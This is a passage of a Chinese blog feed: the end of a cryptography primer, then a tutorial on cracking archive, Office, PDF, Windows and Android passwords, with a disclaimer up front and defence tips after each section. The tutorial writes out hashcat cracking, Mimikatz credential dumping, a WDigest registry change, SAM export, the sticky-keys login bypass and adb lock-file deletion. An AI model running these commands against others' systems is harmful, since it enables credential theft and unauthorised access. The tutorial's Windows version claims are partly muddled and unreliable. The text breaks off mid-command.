SHA-3</td></tr><tr><td>消息认证</td><td>HMAC-SHA256</td><td>Poly1305</td></tr><tr><td>国内合规</td><td>SM2 + SM3 + SM4</td><td>SM9</td></tr><tr><td>后量子安全</td><td>ML-KEM + ML-DSA</td><td>Hybrid: X25519 + ML-KEM</td></tr><tr><td>邮件加密</td><td>GPG (RSA-4096 + AES-256)</td><td>S&#x2F;MIME</td></tr><tr><td>全盘加密</td><td>AES-XTS-256</td><td>—</td></tr></tbody></table><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none;padding-left:0;margin-left:40px"><li id="fn:1"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">1.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">手机上可能看不到悬停效果，请对照本节末尾的缩写表查阅。 <a href="#fnref:1" rev="footnote">↩</a></span></li><li id="fn:10"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">10.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**多表替换密码（Polyalphabetic Substitution Cipher）**：使用**多张不同的替换表**，在加密过程中交替切换，使得同一个明文字母在不同位置被替换成不同的密文字母。这打破了单表替换的频率特征，曾长期被认为无法破解。 <a href="#fnref:10" rev="footnote">↩</a></span></li><li id="fn:11"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">11.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**一次性密码本（One-Time Pad, OTP）**：加密时，密钥必须满足三个条件——(1) 密钥和明文**一样长**；(2) 密钥**完全随机**（每个比特独立随机）；(3) 密钥**只用一次**。加密操作：密�� = 明文 ⊕ 密钥（按位异或）。因为密钥完全随机，密文里不含任何明文的统计规律，数学上被证明无法破解。但缺点也致命：密钥太长（和文件一样大）且只能用一次，实际中几乎无法操作——你用一个 1GB 的密钥加密 1GB 的视频，那你怎么安全地把那个 1GB 的密钥送给接收方呢？这又回到了密钥分发问题。 <a href="#fnref:11" rev="footnote">↩</a></span></li><li id="fn:12"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">12.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**公钥密码学（Public-key Cryptography）** 的核心思想是**加密和解密使用不同的密钥**：一个公开给全世界（公钥），一个死守在自己手里（私钥）。公钥加密的内容只有私钥能解开。这意味着你不再需要事先和安全地把密钥交给对方——对方只需用你的公钥加密即可。这是与前两千年所有加密方法的根本区别。 <a href="#fnref:12" rev="footnote">↩</a></span></li><li id="fn:13"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">13.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**密钥分发问题**：在公钥密码学发明之前，Alice 和 Bob 想要加密通信，必须先在安全的环境下（比如面对面）交换同一把密钥。想象一支军队要在战场上发送加密电报——先得派人把密钥本送到前线，而送密钥的人本身就是安全漏洞。 <a href="#fnref:13" rev="footnote">↩</a></span></li><li id="fn:14"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">14.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**DES（Data Encryption Standard，数据加密标准）**：56 位密钥的对称分组密码，按今天的标准极弱（56 位密钥可被暴力破解）。但它历史意义巨大——它是第一个公开了完整算法细节的政府标准，开启了「公开算法、公开讨论、全球检验」的现代密码学范式。 <a href="#fnref:14" rev="footnote">↩</a></span></li><li id="fn:15"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">15.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**碰撞（Collision）**：两个不同的输入产生完全相同的哈希值。MD5 碰撞 = 你可以伪造一个和正版软件有相同 MD5 值的恶意软件，数字签名验证照样通过。 <a href="#fnref:15" rev="footnote">↩</a></span></li><li id="fn:16"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">16.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**不可否认性（Non-repudiation）**：发送者无法否认自己发送过某条消息。因为数字签名只能用发送者的私钥生成，一旦签名验证通过，技术上就能证明"这条消息确实出自你之手"。 <a href="#fnref:16" rev="footnote">↩</a></span></li><li id="fn:17"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">17.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**盐（Salt）**：在哈希密码前，先给密码拼接一段随机字符串。即使两个用户用了完全一样的密码，因为盐不同，哈希结果也完全不同——攻击者无法用预计算的"彩虹表"批量破解。 <a href="#fnref:17" rev="footnote">↩</a></span></li><li id="fn:18"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">18.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**彩虹表攻击**：攻击者预先算好大量常见密码的哈希值存成表。如果密码没加盐，他只需查表就能秒破。加了盐后，他必须为每个用户单独计算，时间成本从秒级变成年级。 <a href="#fnref:18" rev="footnote">↩</a></span></li><li id="fn:19"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">19.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**异或（XOR，符号⊕）**：一种按位运算。规则：0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0。关键性质：A ⊕ B ⊕ B = A（异或两次等于还原），这正是流密码加密和解密用同一操作的原因。 <a href="#fnref:19" rev="footnote">↩</a></span></li><li id="fn:20"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">20.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**AES（Advanced Encryption Standard，高级加密标准）**：分组加密算法，始终处理 128 位（16 字节）的数据块，密钥可选 128/192/256 位。于 2001 年取代 DES 成为美国联邦标准，至今无实用攻击。 <a href="#fnref:20" rev="footnote">↩</a></span></li><li id="fn:21"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">21.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**SPN（代换-置换网络）**：AES 的核心架构。**代换（Substitution）**：用非线性变换混淆数据（S 盒）；**置换（Permutation）**：打乱数据的位置关系（行移位+列混淆）。两者交替多轮，让"输入每个比特的改变都影响输出的所有比特"——这叫**雪崩效应**。 <a href="#fnref:21" rev="footnote">↩</a></span></li><li id="fn:22"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">22.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**ECC（Elliptic Curve Cryptography，椭圆曲线密码学）**：基于椭圆曲线上的离散对数难题。为什么叫"椭圆曲线"？因为研究的方程 y² = x³ + ax + b 在图形上像压扁的椭圆。你不用懂图形，只需知道：在这条曲线上定义了一种特殊的"点加法"，K = k × G（G 是公开的起点，k 是私钥，K 是公钥），从 K 反推 k 极其困难。 <a href="#fnref:22" rev="footnote">↩</a></span></li><li id="fn:23"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">23.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**离散对数问题（DLP）**：给定 g, p, 和 gª mod p，求 a。正向计算 gª mod p 很容易（用快速幂算法），但逆向几乎不可能。想像一下：你知道的是计算结果，但不知道"g 乘了自己多少次"——这就是离散对数困难所在。 <a href="#fnref:23" rev="footnote">↩</a></span></li><li id="fn:24"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">24.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**为什么叫"逆向使用"？** 正常加密：公钥加密 → 私钥解密（保证机密性）。数字签名反过来：私钥"加密" → 公钥"解密"（验证真实性）。因为只有 Alice 持有私钥，所以只有 Alice 能产生这个签名——用公钥验证通过就证明"这条消息确实来自 Alice"。 <a href="#fnref:24" rev="footnote">↩</a></span></li><li id="fn:25"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">25.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**PKI（Public Key Infrastructure，公钥基础设施）**：管理数字证书的完整体系。核心思想是"信任链"——你信任根 CA，根 CA 信任中间 CA，中间 CA 担保这个公钥确实属于 taobao.com。你的浏览器内置了全球几十个根 CA 的公钥，自动完成这条链的验证。 <a href="#fnref:25" rev="footnote">↩</a></span></li><li id="fn:26"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">26.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**认证加密（AEAD）**：用一个操作同时完成加密和完整性校验。这意味着数据如果被篡改过，解密时直接报错——攻击者既看不到内容，也无法悄无声息地修改。GCM 和 ChaCha20-Poly1305 都是 AEAD 模式。 <a href="#fnref:26" rev="footnote">↩</a></span></li><li id="fn:27"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">27.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**TLS（Transport Layer Security，传输层安全协议）** 是 HTTPS 的底层加密标准。你在浏览器地址栏看到的小锁图标 🔒，就表示当前连接使用了 TLS 加密。 <a href="#fnref:27" rev="footnote">↩</a></span></li><li id="fn:28"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">28.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">**零知识加密（Zero-Knowledge Encryption）**：服务提供商的服务器上**只存加密后的密文**。你的主密码和密钥从不离开你的设备。即使公司被法院传票，也只能交出加密过的垃圾数据——因为他们根本没有密钥。 <a href="#fnref:28" rev="footnote">↩</a></span></li></ol></div></div>]]>
    </content>
    <id>http://misaka10013.cn/p/3138988098.html</id>
    <link href="http://misaka10013.cn/p/3138988098.html"/>
    <published>2026-07-30T07:00:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><strong>📌 本文定位：</strong> 这是一份面向初学者的加密解密领域知识库全景图。读完本文，你将理解密码学<strong>从古至今的完整脉络</strong>，掌握<strong>核心算法原理</strong>，并能够<strong>动手完成加密解密实操</strong>。文中所有专业术语都会在首次出现时以悬停提示<abbr title="鼠标悬停即可看到解释，试试看！">（像这样）</abbr>的方式给出解释，重要论文和资料会附上原文链接，方便你跳转扩展阅读。</p>
</blockquote>
<hr>
<h2 id="第一章-加密解密领域概览"><a href="#第一章-加密解密领域概览" class="headerlink" title="第一章 加密解密领域概览"></a>第一章 加密解密领域概览</h2>]]>
    </summary>
    <title>加密解密知识库完全指南 —— 从凯撒密码到量子密码</title>
    <updated>2026-09-15T13:08:39.433Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="加密" scheme="http://misaka10013.cn/tags/%E5%8A%A0%E5%AF%86/"/>
    <category term="密码破解" scheme="http://misaka10013.cn/tags/%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/"/>
    <category term="安全" scheme="http://misaka10013.cn/tags/%E5%AE%89%E5%85%A8/"/>
    <category term="Hashcat" scheme="http://misaka10013.cn/tags/Hashcat/"/>
    <category term="JohnTheRipper" scheme="http://misaka10013.cn/tags/JohnTheRipper/"/>
    <category term="WiFi" scheme="http://misaka10013.cn/tags/WiFi/"/>
    <category term="压缩包" scheme="http://misaka10013.cn/tags/%E5%8E%8B%E7%BC%A9%E5%8C%85/"/>
    <category term="指纹" scheme="http://misaka10013.cn/tags/%E6%8C%87%E7%BA%B9/"/>
    <content>
      <![CDATA[<blockquote><p><strong>⚠️ 重要声明：</strong> 本文内容仅供安全教育和自我保护用途。未经授权破解他人的密码、系统或网络是违法行为。了解攻击方式是为了更好地防御，而不是成为攻击者。所有演示技术均针对”忘记自己密码”的场景。</p></blockquote><hr><h2 id="前言：密码真的在保护你吗？"><a href="#前言：密码真的在保护你吗？" class="headerlink" title="前言：密码真的在保护你吗？"></a>前言：密码真的在保护你吗？</h2><p>密码学理论上坚不可摧——AES-256 的密钥空间是 2²⁵⁶，用全世界的算力算到宇宙热寂也算不完。</p><p><strong>但在现实中，密码系统的弱点几乎从来不在数学上。</strong></p><p>攻击者不会去正面硬刚 AES-256。他们会：</p><ul><li>猜你的密码是「123456」还是「password」</li><li>找到你把密钥和密文放在一起的蠢设计</li><li>在你睡着的时候拿你的手指按指纹锁</li><li>用 GPU 每秒试 100 万次直到试对为止</li><li>绕过加密层，直接从内存里偷密钥</li></ul><p>本文逐一拆解普通人日常生活中会用到的<strong>每一种密码保护机制</strong>——文档加密、压缩包、Windows 登录、手机锁屏、Wi-Fi、指纹、硬盘加密、浏览器密码……扒开它的底层实现，告诉你<strong>弱点在哪里</strong>，以及<strong>怎么被破解</strong>。</p><p>每节的最后，都会给出一份「你现在就该做的事」——防御指南。</p><hr><h2 id="一、压缩包加密：ZIP-RAR-7z"><a href="#一、压缩包加密：ZIP-RAR-7z" class="headerlink" title="一、压缩包加密：ZIP &#x2F; RAR &#x2F; 7z"></a>一、压缩包加密：ZIP &#x2F; RAR &#x2F; 7z</h2><p>这是普通人最常遇到的「加密」场景。下载了一个压缩包要密码，或者自己忘了曾经设的密码。</p><h3 id="1-1-底层原理速览"><a href="#1-1-底层原理速览" class="headerlink" title="1.1 底层原理速览"></a>1.1 底层原理速览</h3><table><thead><tr><th>格式</th><th>加密算法</th><th>KDF（密钥派生）</th><th>GPU 破解速度（RTX 4090）</th></tr></thead><tbody><tr><td><strong>ZIP Legacy（PKZIP）</strong></td><td>自研 ZipCrypto（弱）</td><td>无</td><td><strong>15 亿 H&#x2F;s</strong>，8 位小写字母 ≈ 2 分钟</td></tr><tr><td><strong>ZIP WinZip AES</strong></td><td>AES-256</td><td>PBKDF2（1000 轮）</td><td><strong>约 40 万 H&#x2F;s</strong></td></tr><tr><td><strong>RAR3</strong></td><td>AES-128</td><td>自定义（约 26 万轮）</td><td>约 10 万 H&#x2F;s</td></tr><tr><td><strong>RAR5</strong></td><td>AES-256</td><td>PBKDF2-HMAC-SHA256（约 32 万轮）</td><td>约 10 万 H&#x2F;s</td></tr><tr><td><strong>7z</strong></td><td>AES-256</td><td>SHA-256 KDF（约 52 万轮）</td><td>约 10 万 H&#x2F;s</td></tr></tbody></table><blockquote><p><strong>关键信息：PKZIP（旧版 ZIP 加密）形同裸奔。RAR5 和 7z 因为 KDF 轮数高，破解极慢。</strong></p></blockquote><h3 id="1-2-破解方法全景"><a href="#1-2-破解方法全景" class="headerlink" title="1.2 破解方法全景"></a>1.2 破解方法全景</h3><p><strong>方法一：字典攻击（首选，成功率 90%）</strong></p><p>用包含常见密码的字典逐一尝试。rockyou.txt（1400 万条）是最有名的字典，里面全是真人用过的密码。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Hashcat 字典攻击 RAR5</span></span><br><span class="line">hashcat -m 13000 -a 0 rar_hash.txt rockyou.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 参数说明：</span></span><br><span class="line"><span class="comment"># -m 13000  → RAR5 哈希模式</span></span><br><span class="line"><span class="comment"># -a 0      → 字典攻击</span></span><br><span class="line"><span class="comment"># -m 13600  → WinZip AES</span></span><br><span class="line"><span class="comment"># -m 11600  → 7z</span></span><br><span class="line"><span class="comment"># -m 17200  → PKZIP（旧版ZIP，极快）</span></span><br></pre></td></tr></table></figure><p><strong>方法二：掩码攻击（知道部分信息时）</strong></p><p>如果你记得密码是 6 位纯数字：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hashcat -m 13000 -a 3 rar_hash.txt ?d?d?d?d?d?d</span><br><span class="line"><span class="comment"># ?d = 数字  ?l = 小写  ?u = 大写  ?s = 特殊符号</span></span><br></pre></td></tr></table></figure><p><strong>方法三：已知明文攻击（PKZIP 专属杀招）</strong></p><p>如果你知道压缩包内某个文件的<strong>完整或部分内容</strong>（比如里面有一个 <code>readme.txt</code> 你手头正好有原文件），可以用 bkcrack 从已知明文反推密钥——不用猜密码，直接解密整个压缩包。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 要求：至少 12 字节的已知明文内容</span></span><br><span class="line">bkcrack -C encrypted.zip -c readme.txt -p plain_readme.txt</span><br></pre></td></tr></table></figure><p>这招对 PKZIP（ZipCrypto）有效，对 AES 加密的 ZIP 无效。</p><h3 id="1-3-实战：完整破解流程"><a href="#1-3-实战：完整破解流程" class="headerlink" title="1.3 实战：完整破解流程"></a>1.3 实战：完整破解流程</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Step 1: 提取哈希</span><br><span class="line">  rar2john secret.rar &gt; hash.txt</span><br><span class="line"></span><br><span class="line">Step 2: 准备字典</span><br><span class="line">  # 合并多个字典并去重</span><br><span class="line">  cat *.txt | sort -u &gt; combined.txt</span><br><span class="line"></span><br><span class="line">Step 3: GPU 破解</span><br><span class="line">  hashcat -m 13000 hash.txt combined.txt -O -w 3</span><br><span class="line"></span><br><span class="line">Step 4: 查看结果</span><br><span class="line">  hashcat -m 13000 hash.txt --show</span><br></pre></td></tr></table></figure><h3 id="1-4-防御指南"><a href="#1-4-防御指南" class="headerlink" title="1.4 防御指南"></a>1.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>创建加密压缩包时，<strong>选择 RAR5 或 7z 格式</strong>，并勾选「加密文件名」</li><li>密码至少 <strong>12 位，包含大小写字母+数字+符号</strong></li><li><strong>绝对不要用 ZIP Legacy（传统 ZIP 加密）</strong>——那是给破解者送人头</li><li>不要用出生日期、手机号、姓名拼音当密码</li></ul></blockquote><hr><h2 id="二、办公文档加密：Word-Excel-PDF"><a href="#二、办公文档加密：Word-Excel-PDF" class="headerlink" title="二、办公文档加密：Word &#x2F; Excel &#x2F; PDF"></a>二、办公文档加密：Word &#x2F; Excel &#x2F; PDF</h2><h3 id="2-1-底层原理"><a href="#2-1-底层原理" class="headerlink" title="2.1 底层原理"></a>2.1 底层原理</h3><p>Microsoft Office 的加密随版本演进变化很大：</p><table><thead><tr><th>Office 版本</th><th>加密算法</th><th>破解难度</th></tr></thead><tbody><tr><td><strong>Office 97-2003（.doc&#x2F;.xls&#x2F;.ppt）</strong></td><td>RC4（40 位密钥）</td><td><strong>秒破</strong>——攻击的不是密码，是直接打 40 位的密钥空间</td></tr><tr><td><strong>Office 2007-2010（.docx&#x2F;.xlsx）</strong></td><td>AES-128 + SHA-1</td><td>需要暴力破解</td></tr><tr><td><strong>Office 2013-2024（.docx&#x2F;.xlsx）</strong></td><td>AES-256 + SHA-512（10 万轮 PBKDF2）</td><td><strong>极难</strong>——每次尝试要算 10 万次哈希</td></tr></tbody></table><blockquote><p><strong>Office 2007 以后的文件，密码不存于文件中</strong>——文件只存 PBKDF2 的验证数据。没有后门，没有万能密码，只能暴力猜。</p></blockquote><p><strong>一个重要的陷阱：</strong> Excel 的「工作表保护」和「VBA 密码」<strong>不是加密</strong>——只是界面锁定。用 16 位 XOR 混淆校验值，任何恢复工具都能<strong>秒移除</strong>，不管密码多长。</p><h3 id="2-2-破解方法"><a href="#2-2-破解方法" class="headerlink" title="2.2 破解方法"></a>2.2 破解方法</h3><p><strong>Excel 97-2003（.xls）：直接打密钥空间</strong></p><p>利用 RC4 40 位密钥的弱点，直接逆向密钥而不是猜密码。任何工具都能秒解，100% 成功。</p><p><strong>Excel 2007+（.xlsx）：暴力破解</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 提取哈希</span></span><br><span class="line">office2john document.xlsx &gt; hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># GPU 暴力破解（Hashcat mode 9600）</span></span><br><span class="line">hashcat -m 9600 -a 0 hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>PDF 加密：分两种情况</strong></p><table><thead><tr><th>类型</th><th>说明</th><th>破解</th></tr></thead><tbody><tr><td><strong>Owner Password（权限密码）</strong></td><td>禁止打印&#x2F;编辑但能打开</td><td>在线工具秒移除</td></tr><tr><td><strong>User Password（打开密码）</strong></td><td>不输入打不开</td><td>需暴力破解，PDF 1.4 及以前用 RC4（弱），1.5+ 用 AES（强）</td></tr></tbody></table><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># PDF 哈希提取</span></span><br><span class="line">pdf2john.pl encrypted.pdf &gt; hash.txt</span><br><span class="line">john --wordlist=rockyou.txt hash.txt</span><br></pre></td></tr></table></figure><p><strong>工作表&#x2F;VBA 保护：秒解</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方式一：直接把 .xlsx 改名 .zip</span></span><br><span class="line"><span class="comment"># 解压后编辑 xl/worksheets/sheet1.xml</span></span><br><span class="line"><span class="comment"># 删除 &lt;sheetProtection ...&gt; 标签</span></span><br><span class="line"><span class="comment"># 重新打包，改回 .xlsx —— 密码没了</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式二：用 Passcovery / AccentOPR 等工具一键移除</span></span><br></pre></td></tr></table></figure><h3 id="2-3-防御指南"><a href="#2-3-防御指南" class="headerlink" title="2.3 防御指南"></a>2.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>用 <strong>Office 2013 以上版本</strong>做加密（AES-256 + 10 万轮 PBKDF2）</li><li>不要把「工作表保护」当加密用——它是纸糊的</li><li>关键文档密码和压缩包一样：<strong>12 位以上混合</strong></li></ul></blockquote><hr><h2 id="三、Windows-系统登录密码"><a href="#三、Windows-系统登录密码" class="headerlink" title="三、Windows 系统登录密码"></a>三、Windows 系统登录密码</h2><h3 id="3-1-密码存在哪里"><a href="#3-1-密码存在哪里" class="headerlink" title="3.1 密码存在哪里"></a>3.1 密码存在哪里</h3><p>Windows 登录密码以 <strong>NTLM Hash</strong> 形式存储在 <code>C:\Windows\System32\config\SAM</code> 文件中。</p><p>生成方式非常弱：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NTLM Hash = MD4( Unicode(密码明文) )</span><br></pre></td></tr></table></figure><p><strong>MD4 是 1990 年的老算法，GPU 暴力破解极快。</strong> 在 RTX 4090 上，NTLM Hash 的破解速度可达<strong>每秒数百亿次</strong>。</p><blockquote><p>但 SAM 文件在系统运行时被锁定，且受 SYSKEY 加密保护，无法直接读取。攻击者需要先获得管理员权限或物理访问。</p></blockquote><h3 id="3-2-Windows-10-11-内存中的明文密码"><a href="#3-2-Windows-10-11-内存中的明文密码" class="headerlink" title="3.2 Windows 10&#x2F;11 内存中的明文密码"></a>3.2 Windows 10&#x2F;11 内存中的明文密码</h3><p>在 Windows 10 2012R2 之前版本中，系统会将登录密码的<strong>明文</strong>缓存在 <code>lsass.exe</code> 进程中。Mimikatz 可以直接读出来。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Mimikatz 一键抓取（需管理员权限）</span></span><br><span class="line">mimikatz.exe <span class="string">&quot;privilege::debug&quot;</span> <span class="string">&quot;sekurlsa::logonpasswords&quot;</span> <span class="string">&quot;exit&quot;</span></span><br></pre></td></tr></table></figure><p>输出示例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Username : Administrator</span><br><span class="line">Domain   : DESKTOP-XXX</span><br><span class="line">Password : MyPassword123   ← 明文密码直接显示</span><br><span class="line">NTLM     : a1e33a2281b8c6dbc2373bff87e8cb6e</span><br></pre></td></tr></table></figure><p>Windows 10 2012 R2 及更高版本默认<strong>禁用了</strong>内存明文缓存，但可以通过修改注册表重新开启：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \</span><br><span class="line">    /v UseLogonCredential /t REG_DWORD /d 1 /f</span><br><span class="line"><span class="comment"># 用户下次登录后，明文密码就会出现在内存中</span></span><br></pre></td></tr></table></figure><h3 id="3-3-离线破解：偷-SAM-文件"><a href="#3-3-离线破解：偷-SAM-文件" class="headerlink" title="3.3 离线破解：偷 SAM 文件"></a>3.3 离线破解：偷 SAM 文件</h3><p>如果你有物理访问权限（或已获得管理员权限）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 1: 导出注册表</span></span><br><span class="line">reg save hklm\sam sam.hive</span><br><span class="line">reg save hklm\system system.hive</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: 用 Impacket 提取 NTLM Hash</span></span><br><span class="line">python secretsdump.py -sam sam.hive -system system.hive LOCAL</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: GPU 加速破解</span></span><br><span class="line">hashcat -m 1000 hash.txt rockyou.txt -O -w 3</span><br><span class="line"><span class="comment"># -m 1000 → NTLM Hash 模式</span></span><br></pre></td></tr></table></figure><h3 id="3-4-绕过登录：粘滞键后门"><a href="#3-4-绕过登录：粘滞键后门" class="headerlink" title="3.4 绕过登录：粘滞键后门"></a>3.4 绕过登录：粘滞键后门</h3><p>这是一条经典的物理绕过路径，不需要破解密码本身：</p><ol><li>用 Windows PE U 盘启动</li><li>将 <code>C:\Windows\System32\sethc.exe</code>（粘滞键）替换为 <code>cmd.exe</code></li><li>重启，在登录界面连按 5 次 Shift → 以 SYSTEM 权限打开命令提示符</li><li><code>net user Administrator NewPassword</code> → 密码被改了</li></ol><blockquote><p>Windows Defender 和 Secure Boot 可以防御此攻击，但很多老旧系统或配置不当的电脑仍然中招。</p></blockquote><h3 id="3-5-RDP-凭证窃取"><a href="#3-5-RDP-凭证窃取" class="headerlink" title="3.5 RDP 凭证窃取"></a>3.5 RDP 凭证窃取</h3><p>如果你在远程桌面连接时勾选了「记住密码」，Windows 会用 MasterKey 将密码加密保存在：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%userprofile%\AppData\Local\Microsoft\Credentials\</span><br></pre></td></tr></table></figure><p>Mimikatz 可以从内存中提取 MasterKey 并解密这些凭据：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe <span class="string">&quot;privilege::debug&quot;</span> <span class="string">&quot;dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\xxx&quot;</span></span><br></pre></td></tr></table></figure><h3 id="3-6-防御指南"><a href="#3-6-防御指南" class="headerlink" title="3.6 防御指南"></a>3.6 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>使用 <strong>Windows Hello（PIN + TPM）</strong> 代替密码登录</li><li><strong>不要勾选 RDP&#x2F;浏览器&#x2F;应用的「记住密码」</strong></li><li>打开 <strong>Secure Boot</strong></li><li>对高价值设备启用 <strong>BitLocker + TPM + PIN</strong>（见第七章）</li><li>管理员账户密码至少 <strong>14 位</strong></li></ul></blockquote><hr><h2 id="四、手机锁屏密码：Android-iOS"><a href="#四、手机锁屏密码：Android-iOS" class="headerlink" title="四、手机锁屏密码：Android &#x2F; iOS"></a>四、手机锁屏密码：Android &#x2F; iOS</h2><h3 id="4-1-两类系统的根本差异"><a href="#4-1-两类系统的根本差异" class="headerlink" title="4.1 两类系统的根本差异"></a>4.1 两类系统的根本差异</h3><table><thead><tr><th></th><th>Android</th><th>iOS</th></tr></thead><tbody><tr><td><strong>加密模型</strong></td><td>基于文件的加密（FBE），密钥由锁屏密码保护</td><td>硬件安全隔区（Secure Enclave），密码与加密绑定</td></tr><tr><td><strong>绕过难度</strong></td><td>厂商五花八门，漏洞多</td><td>极高，但可重置</td></tr><tr><td><strong>数据保留</strong></td><td>部分工具声称能保留数据</td><td>几乎所有方法都会擦除数据</td></tr></tbody></table><h3 id="4-2-Android-锁屏破解"><a href="#4-2-Android-锁屏破解" class="headerlink" title="4.2 Android 锁屏破解"></a>4.2 Android 锁屏破解</h3><p><strong>方法一：Google 查找我的设备（远程擦除）</strong></p><p>如果你知道 Google 账号密码，访问 <code>android.com/find</code> → 擦除设备 → 锁屏密码随数据一起被清除。数据会丢失。</p><p><strong>方法二：ADB 删除密码文件（需事先开启 USB 调试）</strong></p><p>如果之前开启了 USB 调试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">adb shell <span class="built_in">rm</span> /data/system/gesture.key     <span class="comment"># 图案锁</span></span><br><span class="line">adb shell <span class="built_in">rm</span> /data/system/password.key    <span class="comment"># 密码锁</span></span><br><span class="line">adb 